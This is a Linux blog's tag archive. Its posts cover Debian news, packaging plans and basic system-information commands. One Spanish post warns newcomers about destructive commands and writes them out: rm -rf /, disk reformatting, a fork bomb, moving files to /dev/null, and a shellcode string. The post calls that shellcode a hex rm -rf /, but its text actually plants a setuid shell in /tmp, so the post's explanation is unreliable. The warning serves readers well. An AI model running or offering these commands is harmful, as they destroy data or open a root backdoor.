Tag Archive for 'Linux'

Debian 7 has a name ‘wheezy’

Wheezy

Wheezy

This day I read, via the Debian Devel announce list, that the next version of Debian already has a name, and will be “wheezy

Debian rocks!! :D

Debian Involvement

I began my journey into the world of Debian approximately 2 years ago ( I’m not very good at remembering dates :( ) from the start one of my main objectives is to collaborate with the project and not simply be a standard user, the best way to do it is to keep packages (starting from the point that my work is to develop applications and edit code is what I do day to day).
But I never decided to take the plunge and adopt a package, until I decided that was the right time, already had some knowledge of Debian packaging, I had read Debian New Maintainers’ Guide and Debian Developer’s Reference. Unfortunately when I decided to do so and already had everything ready to find a mentor, Debian enters the freezing stage, in this state no packets are uploaded to unstable unless they are to fix a RC bug :(

So I have to wait until the release of squeeze and some mentor have mercy of my soul and upload packages for me :D

This is my first step in the process of becoming a Debian Developer, so I hope to share the progress

Cheers!!

Bill Gates se cambió a Ubuntu??

Bill Gates se cambió a Ubuntu

Bill Gates se cambio a Ubuntu??

No cabe duda que de todas las imágenes que circulan por la red para promocionar Linux (o una distro como es este caso), esta me ha parecido de lo mas graciosa :D . Juzguen ustedes.

Saludos!!

5 comandos de Linux que nunca deberías ejecutar.

Cuando una persona es nueva en el mundo de Linux, es muy probable encontrarse con personas mal intencionadas que intentaran engañarlo a través de foros, chats, etc. para que por medio de comandos usted pueda dañar sus archivos, equipo o peor aun el sistema operativo por completo, para evitar que esta situación peligrosa pueda ocurrir, he aquí una lista de comandos sumamente peligrosos en Linux y que usted debería evitar.

1. rm -rf /
Este comando forzara a borrar recursivamente todos los archivos dentro del directorio raíz.

2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esta es la versión en hexadecimal de [rm-rf /] que pueden engañar incluso a los usuarios más experimentados de Linux.

3. mkfs.ext3 /dev/sda

Esto reformateara todos los archivos del dispositivo que se menciona después del comando mkfs.

4. : (){:|:&};:

Conocido como «forkbom», este comando le dirá a su sistema que ejecute un gran numero de procesos hasta que el sistema se congele, esto a menudo puede conducir a la corrupción de datos.

5. mv /home/yourhomedirectory/* /dev/null

Este comando moverá todos los archivos almacenados dentro de su directorio personal a un lugar que no existe, por lo que nunca volvería a ver sus archivos de nuevo.

Por supuesto hay muchos otros comandos que son peligrosos en Linux que no se mencionan aquí, así que si tienes algo que añadir, por favor, compártelo con nosotros a través de comentarios.

PD: No me hago responsable por pedida de datos al ejecutar algún comando mencionado en este post en un entorno Linux de producción ;) , si realmente quiere probar alguno de estos comandos te recomiendo que lo hagas por medio de una maquina virtual. Están advertidos.

Saludos!!

Comandos Utiles – lshw

Un comando de mucha utilidad si queremos conocer detalles sobre nuestro hardware es lshw, la forma de uso es sencilla :D

lshw [formato] [opciones... ]

donde formato puede ser:

-X Inicia la GUI (si esta disponible)
-html activa el modo HTML
-xml activa el modo XML
-short muestra rutas del hardware
-businfo muestra información del bus

y opciones puede ser:

-enable TEST habilita las pruebas
-disable TEST deshabilita las pruebas
-class CLASS limita la salida a una clase
-C CLASS alias para -class CLASS

un ejemplo sencillo de uso seria ejecutar lo siguiente en una terminal:

lshw -C cpu

Con esto estamos indicando que nos muestre la información de la clase CPU, por lo tanto nos mostrara la información disponible de nuestro procesador, en mi caso devolvió lo siguiente :D

*-cpu
description: CPU
product: Intel(R) Celeron(R) D CPU 3.06GHz
vendor: Intel Corp.
physical id: 4
bus info: cpu@0
version: 15.6.5
serial: 0000-0F65-0000-0000-0000-0000
slot: Socket 775
size: 3066MHz
capacity: 4GHz
width: 64 bits
clock: 133MHz
capabilities: boot fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx x86-64 constant_tsc up pebs bts pni dtes64 monitor ds_cpl cid cx16 xtpr pdcm lahf_lm
configuration: id=0

Existen mas combinaciones disponibles, para obtener información de diferentes dispositivos de hardware, quieres saber mas?

man lshw
:D además puedes encontrar mas información aquí

Saludos!!

Screenshots de Octubre 09

Dejo algunas capturas de pantalla de mi escritorio correspondiente al mes de octubre :D

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Hello Planet!!

Pues a partir de este día mi blog formara parte de Planeta Linux una comunidad de latinoamericanos blogueando sobre Linux :D

Puedes conocer mas acerca de este proyecto aquí, además puedes seguirlo a través de twitter, identi.ca, facebook, last.fm y por el IRC.

Así que los invito a leer y/o a unirse (si tienes un blog que habla sobre software libre) para que este gran proyecto siga creciendo.

Saludos!!

Comandos Básicos II

Continuando con la serie comandos básicos en linux que inicie con el post anterior aqui les dejo la continuación de como obtener información relevante del sistema.

# dmesg muestra la información del arranque del sistema y la detección del hardware

# lsdev información acerca del hardware instalado

# cat /proc/cpuinfo modelo del CPU

# cat /proc/meminfo información de la memoria

# grep MemTotal /proc/meminfo muestra la memoria fisica

# free -m memoria libre y usada (-m para MB)

# cat /proc/devices dispositivos configurados

# lspci -tv muestra dispositivos PCI

# lsusb -tv muestra dispositivos USB

# lshal muestra una lista de todos los dispositivos con sus propiedades

Espero que les sea de utilidad :)

Saludos!!

My Hackergotchi

Williams HackergotchiAfter a few days with the idea of making a hacergotchi :P I’ve finally finished, I do not have many pictures, so I choose not been a very difficult task, Despite the little knowledge I have in the use of GIMP I think I am acceptable.

anyway, I will continue trying :D

Cheers!!

Comandos Básicos I

Cuando se es principiante en el mundo de GNU/Linux una de las tareas mas dificiles es obtener información referente al sistema (muchas veces necesario para buscar soluciones a problemas comunes en foros, listas de ayuda, etc.) ya que si no dispnemos de dicha información es muy dificil que otros usuarios puedan ayudarnos a solventar nuestro problema, estos comandos son básicos por lo que para un usuario avanzado esto no es nuevo.

# uname -a obtener la versión del Kernel.

# lsb_release -a información completa de cualquier distribución LSB

# cat /etc/debian_version Obtener la versión de Debian.

# uptime Muestrar el tiempo que el sistema ha estado funcionando + carga.

# hostname nombre del sistema.

# hostname -i muestra la dirección IP del equipo.

# last reboot muestra el historial de reinicios del sistema.

Estos son solo algunos de los comando basicos para obtener información del sistema, la mejor forma de memorizarlos es ponerlos en practica :P en futuros post tratare de incluir otros comandos de utilidad.

Saludos!!




Bad Behavior has blocked 98 access attempts in the last 7 days.


Creative Commons Attribution-ShareAlike
This work from Williams Orellana is released under the license Creative Commons Attribution-ShareAlike 3.0.

:)